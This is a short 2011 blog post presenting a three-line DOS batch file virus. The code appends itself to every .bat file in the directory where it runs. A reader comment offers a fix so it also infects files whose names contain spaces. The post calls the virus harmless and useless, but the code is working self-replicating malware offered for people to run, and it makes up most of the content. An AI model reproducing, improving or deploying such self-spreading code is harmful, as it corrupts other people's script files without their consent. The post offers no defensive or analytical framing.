Skip to content

Stupid Simple Computer Virus in 3 Lines of Code

April 19, 2011

Yes, it’s pretty useless and completely harmless. A DOS batch file virus in 3 simple lines. Useless… but totally meets or surpasses computer virus specifications:

@echo off
find "**cranky**" *.bat
for %%p in (*.bat) do copy %%p + %0

Save it as a .bat file.
No really. If you run this on windows/DOS in a directory full of .bat files, this will replicate itself and infect all the other .bat files. Too easy? Use “copy con blah.bat” to create the file so you can feel a bit more accomplished.


From → Hacks

  1. Chris permalink

    come out with a youtube advertisement skipping program lol

  2. Fixed permalink

    If bat name has spaces, this script couldn’t found it.

    FIX: do copy %%p + %0 -> TO -> do copy “%%p” + %0

Trackbacks & Pingbacks

  1. How to Create a Virus Using the Assembly Language |
  2. 如何使用汇编语言编写一个病毒 – 范范的博客
  3. 如何使用汇编语言编写一个病毒 | | hg0088
  4. 如何使用汇编语言编写一个病毒 | 明飞科技

Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

%d bloggers like this: